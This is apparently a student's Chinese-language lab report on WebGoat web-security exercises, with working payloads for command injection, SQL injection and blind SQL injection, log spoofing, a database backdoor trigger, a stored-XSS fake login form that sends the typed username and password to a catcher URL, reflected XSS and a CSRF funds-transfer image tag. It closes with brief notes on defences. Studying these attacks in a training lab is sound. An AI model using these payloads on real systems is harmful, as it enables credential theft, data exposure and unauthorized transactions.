20175301李锦然《网络对抗技术》Exp9 Web安全基础

# 2019-2020-2 20175301李锦然《网络对抗技术》Exp9 Web安全基础 目录 ##1.实践目标 本实践的目标理解常用网络攻击技术的基本原理, 做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。 ##2.基础知识 SQL注入 命令注入(Command Injection) 数字型注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) 等 XSS 钓鱼,反射 CSRF 跨站请求伪造(Cross Site Request Forgery (CSRF)) ##3.实验过程 ###3.0 配置环境 首先下载并配置好WebGoat 执行命令java -jar webgoat-container-7.0.1-war-exec.jar 我下载的版本是2.5.1 20175301李锦然《网络对抗技术》Exp9 Web安全基础 然后使用默认用户名密码登陆 20175301李锦然《网络对抗技术》Exp9 Web安全基础20175301李锦然《网络对抗技术》Exp9 Web安全基础 登陆以后左侧什么都没有,查资料以后明白了需要配置JDK,配置完后: 20175301李锦然《网络对抗技术》Exp9 Web安全基础

###3.1 SQL注入攻击:Command Injuection 右键点击Inspect Element 20175301李锦然《网络对抗技术》Exp9 Web安全基础 在复选框中任意一栏的代码,选择Edit At Html进行修改,添加&&ipconfig" 可以看到IP地址 20175301李锦然《网络对抗技术》Exp9 Web安全基础 ###3.2 SQL注入攻击:Numeric SQL Injection 在选中的城市编号Value值中添加or 1=1 20175301李锦然《网络对抗技术》Exp9 Web安全基础 点击go显示了所有城市的天气 ###3.3 日志欺骗:Log Spoofing 注入回车(0D%)和换行符(%0A),在username 中填入Smith%0d%0aLogin Succeeded for username: ljr 20175301李锦然《网络对抗技术》Exp9 Web安全基础 ###3.4 字符串注入:String SQL Injection 输入‘ or 1=1 -- 20175301李锦然《网络对抗技术》Exp9 Web安全基础 显示了所有银行卡的信息 ###3.5 数字型盲注入:Blind Numeric SQL Injection 使用101 and((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) =一个一个试);来不断试错,其中也用了大于和小于号,最终试出来是2364 ![](https://img2020.cnblogs.com/blog/1268747/202005/1268747-20200528194407436-1670960051.png) ###3.6 数据库后门:Database Backdoors 输入104查看一下这个人的信息 顺便用104; update employee set salary=100改了薪水 ![](https://img2020.cnblogs.com/blog/1268747/202005/1268747-20200528194622329-1126298053.png) 然后把104;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘‘WHERE userid = NEW.userid```这个邮箱复制上去 20175301李锦然《网络对抗技术》Exp9 Web安全基础 成功 ###3.7 盲型字符查找 原理类似数字盲型注入,不断试错 20175301李锦然《网络对抗技术》Exp9 Web安全基础 ###3.8 存储型XSS攻击:Stored XSS Attacks 在留言板中输入

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

20175301李锦然《网络对抗技术》Exp9 Web安全基础 点击用户名与密码并输入 20175301李锦然《网络对抗技术》Exp9 Web安全基础 ###3.9 反射型XSS攻击 输入代码<script>alert("jiuzhe5301");</script> 20175301李锦然《网络对抗技术》Exp9 Web安全基础 ###3.10 CSRF攻击 查看页面右侧Parameters中的src和menu值 20175301李锦然《网络对抗技术》Exp9 Web安全基础 在message中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=297&menu=900&transferFunds=5000" width="1" height="1" /> 20175301李锦然《网络对抗技术》Exp9 Web安全基础

实验中遇到的问题

没啥问题,,基本按着他说的做就可以解决了,其中小部分问题不足为道,在上文中都提出并解决了。

问题回答

SQL注入攻击原理,如何防御 可以把SQL命令插入到查询字符串中让服务器执行语句时执行攻击者输入的命令。通过在输入框中输入一些特殊字符,注释部分语句,利用永真式实现登录、显示信息等目的。 防御方法:在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、‘ 等 不使用动态SQL语句,通过第三方Web程序调用存储过程来完成对数据库的操作。

XSS攻击的原理,如何防御 XSS攻击是向用户信任的网站插入恶意代码,利用用户对网站的信任获取用户的私密信息 防御方法:不可信数据进行 HTML Entity 编码。将html实体转化为相应的实体编号。 对输入和URL参数进行过滤,在输出数据之前对潜在的威胁的字符进行编码、转义。

CSRF攻击原理,如何防御 跨站请求伪造,和XSS相反,利用用户的身份向服务器发起攻击 防御方法:判断referer头 加个验证码 尽量不使用通用的cookie

20175301李锦然《网络对抗技术》Exp9 Web安全基础

上一篇:js基础----dom节点使用console.log打印始终是最新的现象(待验证)


下一篇:配置SQL Server Session方法